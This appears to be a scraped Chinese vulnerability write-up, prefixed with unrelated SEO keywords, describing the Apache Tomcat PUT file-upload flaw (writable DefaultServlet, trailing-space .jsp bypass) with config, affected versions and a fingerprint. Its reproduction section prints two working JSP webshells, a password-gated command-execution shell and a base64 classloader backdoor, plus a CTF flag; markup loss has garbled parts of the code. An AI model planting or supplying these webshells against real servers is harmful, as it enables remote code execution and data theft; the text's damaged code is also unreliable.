做公司子网站的请示报告,炫酷业务网站,自媒体主题wordpress,小程序开发兼职的小知识1.1、漏洞原理 描述: Tomcat 是一个小型的轻量级应用服务器#xff0c;在中小型系统和并发访问用户不是很多的场合下被普遍使用#xff0c;是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件#x…1.1、漏洞原理 描述: Tomcat 是一个小型的轻量级应用服务器在中小型系统和并发访问用户不是很多的场合下被普遍使用是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件JSP文件中的恶意代码将能被服务器执行导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的通过配置文件可知当后缀名为 .jsp 和 .jspx 的时候是通过 JspServlet 处理请求的 而其他的静态文件是通过 DefaultServlet 处理的 可以得知“1.jsp ”末尾有一个空格并不能匹配到 JspServlet而是会交由 DefaultServlet 去处理。当处理 PUT 请求时 会调用 resources.bind dirContext 为 FileDirContext 调用 rebind 创建文件 又由于Windows 不允许“ ”作为文件名结尾所以会创建一个 .jsp 文件导致代码执行。
漏洞本质Tomcat配置了可写readonlyfalse导致我们可以往服务器写文件
servletservlet-namedefaultservlet-nameservlet-classorg.apache.catalina.servlets.DefaultServletservlet-classinit-paramparam-namedebugparam-nameparam-value0param-valueinit-paraminit-paramparam-namelistingsparam-nameparam-valuefalseparam-valueinit-paraminit-paramparam-namereadonlyparam-nameparam-valuefalseparam-valueinit-paramload-on-startup1load-on-startupservlet
1.2、影响范围不重要去试就行
Apache Tomcat 7.0.0 - 8.0.81
1.3、 漏洞指纹
tomcat
8009
ajp
\x04\x01\xf4\x00\x15
1.4、漏洞复现 如下是回显jsp马
% if(023.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(
);while((ain.read(b))!-1){ out.println(new String(b)); } out.print(
); } % 如下是连接的jsp一句话木马,密码是passwd %!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz Class.forName(sun.misc.BASE64Decoder);return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz Class.forName(java.util.Base64);Object decoder clazz.getMethod(getDecoder).invoke(null);return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str);}}
%
%String cls request.getParameter(passwd);if (cls ! null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
% flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}